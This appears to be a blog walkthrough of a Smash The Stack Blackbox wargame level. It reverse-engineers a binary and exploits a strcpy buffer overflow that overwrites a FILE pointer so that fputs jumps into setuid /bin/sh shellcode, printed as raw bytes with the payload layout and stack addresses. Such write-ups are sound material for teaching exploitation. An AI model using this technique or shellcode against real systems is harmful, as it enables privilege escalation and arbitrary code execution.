In today’s post, we’re going to be taking a look at level 6 of the Blackbox wargame, provided by the Smash The Stack network. As usual, the final password of the level will be stripped and replaced with Y’s. If you wish to follow along at home, please go a head and log into blackbox now. To get started, a quick list of the home directory shows a level7 file called fsp. This must be our vulnerable executable. Since there is no source code provided, we will be looking at the assembly today. Let’s go a head and load the program up in gdb and get a dissassembly of main. I’ve added a few comments to help make quicker sense of what’s going on:
(gdb) disass main
Dump of assembler code for function main:
0x08048444 <main+0>: lea 0x4(%esp),%ecx
0x08048448 <main+4>: and $0xfffffff0,%esp
0x0804844b <main+7>: pushl 0xfffffffc(%ecx)
0x0804844e <main+10>: push %ebp
0x0804844f <main+11>: mov %esp,%ebp
0x08048451 <main+13>: push %ecx
0x08048452 <main+14>: sub $0x434,%esp
0x08048458 <main+20>: mov %ecx,0xfffffbd8(%ebp) –five argv? argv or is this argc? because of the cmpl at main+74? value of ecx is 0xbfffdab0, holds value 2 when ran with 1 arg, 4 when ran with 3 args, must be argc.
0x0804845e <main+26>: mov 0x8048636,%eax
0x08048463 <main+31>: mov %eax,0xffffffe7(%ebp) –“No segfault yet\n”
0x08048466 <main+34>: mov 0x804863a,%eax
0x0804846b <main+39>: mov %eax,0xffffffeb(%ebp) —
0x0804846e <main+42>: mov 0x804863e,%eax
0x08048473 <main+47>: mov %eax,0xffffffef(%ebp) —
0x08048476 <main+50>: mov 0x8048642,%eax
0x0804847b <main+55>: mov %eax,0xfffffff3(%ebp) —
0x0804847e <main+58>: movzbl 0x8048646,%eax
0x08048485 <main+65>: mov %al,0xfffffff7(%ebp)
0x08048488 <main+68>: mov 0xfffffbd8(%ebp),%eax
0x0804848e <main+74>: cmpl $0x1,(%eax) –is argc > 1?
0x08048491 <main+77>: jg 0x80484ba <main+118>
0x08048493 <main+79>: mov 0xfffffbd8(%ebp),%edx
0x08048499 <main+85>: mov 0x4(%edx),%eax
0x0804849c <main+88>: mov (%eax),%eax
0x0804849e <main+90>: mov %eax,0x4(%esp)
0x080484a2 <main+94>: movl $0x8048618,(%esp)
0x080484a9 <main+101>: call 0x8048348 <printf@plt>
0x080484ae <main+106>: movl $0xffffffff,(%esp)
0x080484b5 <main+113>: call 0x8048358 <exit@plt> –exit if argc <= 1
0x080484ba <main+118>: movl $0x804862f,0x4(%esp) –0x804862f <_IO_stdin_used+27>: “a”
0x080484c2 <main+126>: movl $0x8048631,(%esp) –0x8048631 <_IO_stdin_used+29>: “temp”
0x080484c9 <main+133>: call 0x8048368 <fopen@plt> –a Open the file for appending (i.e. new data is added at the end). Creates a new file if it doesn’t already exist
–temp is file name
0x080484ce <main+138>: mov %eax,0xfffffff8(%ebp) –save file pointer
0x080484d1 <main+141>: mov 0xfffffbd8(%ebp),%edx –argc
0x080484d7 <main+147>: mov 0x4(%edx),%eax –argv
0x080484da <main+150>: add $0x4,%eax –argv
0x080484dd <main+153>: mov (%eax),%eax –address of argv string is in eax
0x080484df <main+155>: mov %eax,0x4(%esp) –argv string address goes on stack as parameter (end paremeter for strcpy, the source)
0x080484e3 <main+159>: lea 0xfffffbe7(%ebp),%eax –let’s assume it’s some buffer, buf
0x080484e9 <main+165>: mov %eax,(%esp) –place as destination for strcpy
0x080484ec <main+168>: call 0x8048388 <strcpy@plt> –strcpy from argv to buf (UNSAFE US OF STRCPY!!!! BUFFER OVERFLOW!!!!)
0x080484f1 <main+173>: mov 0xfffffff8(%ebp),%eax –file opened by fopen (“temp”)
0x080484f4 <main+176>: mov %eax,0x4(%esp) –put on stack as output of fputs
0x080484f8 <main+180>: lea 0xffffffe7(%ebp),%eax –“No segfault yet\n” (buf)
0x080484fb <main+183>: mov %eax,(%esp) –as first parameter for prints for source
0x080484fe <main+186>: call 0x8048328 <fputs@plt>
0x08048503 <main+191>: movl $0x0,(%esp)
0x0804850a <main+198>: call 0x8048358 <exit@plt>
0x0804850f <main+203>: nop
End of assembler dump.
Looking at the assembly there are multiple things to note. However the most blaring from a security perspective is the unsafe use of strcpy. This program makes use of strcpy(2) which copies, un-restricted, from a source to a destination. Even worse, it copies from a user-supplied source (argv in this case), to a buffer in the program. Based on this, we can see the program is vulnerable to a buffer overflow. But let’s look closer to see what effects this overflow might be able to have. Since the program doesn’t return, only makes exit calls, we won’t be able to easily overwrite a return address to gain control. Thus, let’s look at the addresses and try to visualize the stack to see what we can overwrite.
High mem ebp -0x8 -0x419
We can see that fp is after buf, and thus, if we overflow buf, we can overwrite fp. So now there is a question developing. If we can overwrite fp, how does this help us? Where is fp used and how? Well, let’s look further. It seems that fp is used as one of the two arguments for fputs. Thus, let’s look further into this fputs function to see how we might be able to alter it. Getting a disassembly of fputs shows that it is a large function, but let’s start by looking at the beginning 141 or so instructions:
(gdb) disass fputs
Dump of assembler code for function fputs:
0x00d234a0 <fputs+0>: push %ebp
0x00d234a1 <fputs+1>: mov %esp,%ebp
0x00d234a3 <fputs+3>: sub $0x1c,%esp
0x00d234a6 <fputs+6>: mov %ebx,0xfffffff4(%ebp)
0x00d234a9 <fputs+9>: mov 0x8(%ebp),%eax –load parameter into eax (buf)
0x00d234ac <fputs+12>: call 0xce1d10 <free@plt+112> –free mem, enough for eax?
0x00d234b1 <fputs+17>: add $0xd7b43,%ebx
0x00d234b7 <fputs+23>: mov %esi,0xfffffff8(%ebp)
0x00d234ba <fputs+26>: mov 0xc(%ebp),%esi –move parameter into esi (fp)
0x00d234bd <fputs+29>: mov %edi,0xfffffffc(%ebp)
0x00d234c0 <fputs+32>: mov %eax,(%esp) –load buf as param for strlen
0x00d234c3 <fputs+35>: call 0xd38e30 <strlen> –strlen of buf
0x00d234c8 <fputs+40>: mov %eax,0xfffffff0(%ebp) –save parameter from eax onto ebp offset
0x00d234cb <fputs+43>: mov (%esi),%eax —
0x00d234cd <fputs+45>: and $0x8000,%eax —
0x00d234d2 <fputs+50>: test %ax,%ax –AND arguments. If the result of the AND is 0, the ZF is set to 1, otherwise set to 0.
0x00d234d5 <fputs+53>: jne 0xd2350b <fputs+107> –jump if ZF == 0.
0x00d234d7 <fputs+55>: mov 0x48(%esi),%edx
0x00d234da <fputs+58>: mov %gs:0x8,%edi
0x00d234e1 <fputs+65>: cmp 0x8(%edx),%edi
0x00d234e4 <fputs+68>: je 0xd23508 <fputs+104>
0x00d234e6 <fputs+70>: xor %eax,%eax
0x00d234e8 <fputs+72>: mov $0x1,%ecx
0x00d234ed <fputs+77>: cmpl $0x0,%gs:0xc
0x00d234f5 <fputs+85>: je,pt 0xd234f9 <fputs+89>
0x00d234f8 <fputs+88>: lock cmpxchg %ecx,(%edx)
0x00d234fc <fputs+92>: jne 0xd235fa <fputs+346>
0x00d23502 <fputs+98>: mov 0x48(%esi),%edx
0x00d23505 <fputs+101>: mov %edi,0x8(%edx)
0x00d23508 <fputs+104>: incl 0x4(%edx)
–We can jump to here from above!
0x00d2350b <fputs+107>: cmpb $0x0,0x46(%esi) –check if 0x46th byte is 0x0
0x00d2350f <fputs+111>: je 0xd23584 <fputs+228> –if so, jump. We don’t want to jump.
0x00d23511 <fputs+113>: movsbl 0x46(%esi),%eax –move that byte into eax (size & sign extended [zero out padding])
0x00d23515 <fputs+117>: mov 0xfffffff0(%ebp),%edx –move value returned from strlen to edx
0x00d23518 <fputs+120>: mov 0x94(%esi,%eax,1),%eax –use byte in eax as index into an array starting at esi (the file pointer parameter) +0x94. Save this new array location in eax.
–save the value in that array at that index into eax
0x00d2351f <fputs+127>: mov %edx,0x8(%esp) –load buf as a parameter on stack for next function call
0x00d23523 <fputs+131>: mov 0x8(%ebp),%edx –load a value into edx (a parameter)
0x00d23526 <fputs+134>: mov %esi,(%esp) –load file pointer onto stack as parameter for next function call
0x00d23529 <fputs+137>: mov %edx,0x4(%esp) –load value from edx onto stack as parameter for function call
0x00d2352d <fputs+141>: call *0x1c(%eax) –call the function whos address is located at eax + 0x1c
From here we could continue getting lost in the function, or we could look at the call instruction at fputs+141 and try to take advantage of it. We can see the instruction calls the function at eax+0x1c. We can also see eax gets it’s value from esi and some offsets. However, esi was holding a pointer to the file pointer! This means that if we control the file pointer, we control what is pointed to, in turn we control the value eax will get, and ultimately, we control what address will be executed during the call instruction! But let’s not get ahead of ourselves, we still don’t even know what the beginning of fputs does.
Starting from the top of fputs, we know we have two supplied parameters, the first being buf and the second being the file pointer. First, buf’s address is loaded into eax and free is called. Futher down, we can see that the file pointer is loaded into esi at fputs+26. Again, back to buf as it is loaded for a call to strlen and the result saved. Next, we get to an interesting control point. We can see the first four bytes are taken out of file pointer (which was stored in esi, remember). This long word is then bit-wise AND with 0x8000 and if the result is 0, the zero flag is set to 1. But if the result of the AND is not zero, the zero flag is set to 0. Lastly there is a jump on fputs+53 where if the zero flag is set to 0, the program will jump to fputs+107. So to cause the jump, we need the lower 2 bytes of eax, AKA ax, to not AND to zero, aka they need to have 0x8000 in their value.
Assuming we make the jump, since it is closer to the call instruction we wanted to reach, let’s look at fputs+107. Right away there is a test on the 0x46th byte of the file pointer checking if it is equal to 0x0. If it is 0x0, there is a jump to far away, so let’s try and avoid that by not allowing the 46th byte of the file pointer to be equal to 0x0. Next, that 46th byte is loaded into eax with size and sign extended (aka the rest of eax will be all zeros). Next, the old value we saved from the strlen function is loaded into edx. More importantly is what follows with eax. The value in eax is used as an index into an array starting at esi (good news, our file pointer we control) + 0x94. Ok, well we can arrange our file pointer to pretend we have an array at byte 0x94! Some values are added to the stack for paramters of the upcoming call. Finally call is executed on the function whos address is located at eax+0x1c. Well, I think we can take control of that by supplying our own function (shellcode), getting it’s address and controlling the file pointer!
So next, let’s think about the space we have to work with in buf, and how we can overwrite fp. Looking, we can see fp was saved at 0xfffffff8(%ebp), and buf was accessed at 0xfffffbe7(%ebp). So doing a little math (0xff8 – 0xbe7), buf is 0x411 bytes long. Also, given that fp is our target, that it falls directly after buf, and that it’s a 4 byte pointer, we need to write a total of 0x411 + 0x4 = 0x415 bytes for our overload. This seems like a large enough space to place some shellcode, so we may as well include it there. Now that we’ve thought about the length, let’s look at the structure. There are a few points to make sure of due to some of the checks in fputs, so let’s look at those to help define our sturcture.
- To pass the zero flag check at the beginning of fputs, our file pointer payload should start with 0x80008000.
- The 46th byte needs to be a value other than 0x00. Let’s simply choose 0x01.
- The 4 bytes at 0x94+0x01=0x95 should be a pointer (this is the array). For ease sake, make it point to 0x95+0x04=0x99.
- At 0x99+0x1c=0xb5 we should have another pointer (this is the function pointer). For ease sake, make it point to 0xb5+0x04=0xb9.
- Insert shellcode at 0xb9.
- After shellcode, write padding to fill buff to 0x411 bytes.
- Insert last 4 bytes to overwrite fp. Needs to be address of beginning of buf (address because it’s a pointer no duh).
One of the final unknowns at this point is that of memory addresses. Since we’re using pointers, we need to know addresses. Well, we can solve that by loading up gdb with a test argument and checking ebp.
level6@blackbox:~$ gdb fsp
(gdb) break main
Breakpoint 1 at 0x8048452
(gdb) run `perl -e “print ‘A’x1045″`
Starting program: /home/level6/fsp `perl -e “print ‘A’x1045″`
Breakpoint 1, 0x08048452 in main ()
(gdb) p $ebp
$1 = (void *) 0xbfffd688
Now we can assume this ebp isn’t going to change on our next run with the same length arguments. This ebp is also only valid in runs with gdb, so when we execute this in the wild, we’ll have to do a few test runs with various guesses at ebp. But, it’s good to know, gdb doesn’t make much overhead so the ebp’s will be close to each other. Now let’s move on to writing our payload. Today I’m simply going to use perl to write up our payload. Since we already talked about what is needed, let me just show the code, then go over it:
my $sh = “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”;
This should be extremely straight forward. Basically, this script prints out the things we said we needed in the list above. It starts by printing the hex values of 80808080 to defeat the zero flag test. Next, it pads til byte 0x46, and then fills that byte with the value 0x01. Following is more padding until the first pointer is writen, and then again more padding until the second pointer is writen. The next line outputs the shellcode. After the shellcode, the remaining padding is output. Finally, the value of the pointer to the start of buf is printed and the program is over. One thing to note is that the pointers, p1, p2 and the pointer to buf, are all hard coded and calculated based on the ebp we got above. These calculations are based on the following convention:
ebp = 0xbfffd688
buf = $ebp – 0x419
p1 = $buf + 0x99
p2 = $buf + 0xb9
p1 = 0xbfffd308
p2 = 0xbfffd328
buf pointer = 0xbfffd26f
It should be pointed out that the addition and subtration is based on where these values fall in memory, and will not change. However, outside of gdb, ebp will change and will alter our other memory values. But, for now, let’s go a head and try to run this in gdb and see what happens!
level6@blackbox:/tmp/.ttt$ gdb ~/fsp
(gdb) run `perl /tmp/.ttt/t2.p`
Starting program: /home/level6/fsp `perl /tmp/.ttt/t2.p`
There we can see our program in action and we can see that our shellcode was executed. If there are problems (such as seg faults or normal execution), there are a few valuable places to set breaks. I would suggest the following places for breaks: 0x080484f4 to check the value of eax which should be the overwritten file pointer. 0x080484df to check eax for the address of argv, to make sure the values being passed to the program are correct. fputs is a good place to put a break, as well as 0x00d234ba in fputs to verify the fp stored in esi. Now, assuming, based on the successful test in gdb, we have these problems solved, let’s try and defeat the level for good!
The last peace in this puzzle is to determine the ebp in the normal Linux environment. There are multiple aproaches to this problem, but since we have hardcoded addresses, lets just use the guess and check method! One thing that helps, is to realize that gdb adds overhead, so in the normal environment, ebp will be at a “lower” address. Thus, we know we should have to use a “lower” address, which is actually a larger numbered address. For a simple calculation, let’s guess that gdb addes 0x10 to the overhead on the stack. That means we can assume an out-of-gdb ebp value of 0xbfffd698. Using that value, let’s recalculate our p1, p2 and buf pointers and write those values into our script file (which should now look like this):
my $sh = “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8\xb0\x2e\xcd\x80
Now let’s go ahead and try to run this in the normal environment:
level6@blackbox:/tmp/.ttt$ ~/fsp `perl /tmp/.ttt/t.p`
sh-3.1$ cat /home/level7/passwd
There we go! We were able to exploit a buffer overflow vulnerability even when there wasn’t a return address to overwrite. In this case, we overwrite a file pointer which allowed us to execute arbitrary code via fputs. This arbitrary code execution allowed us to spawn a shell and gain priviledge escellation.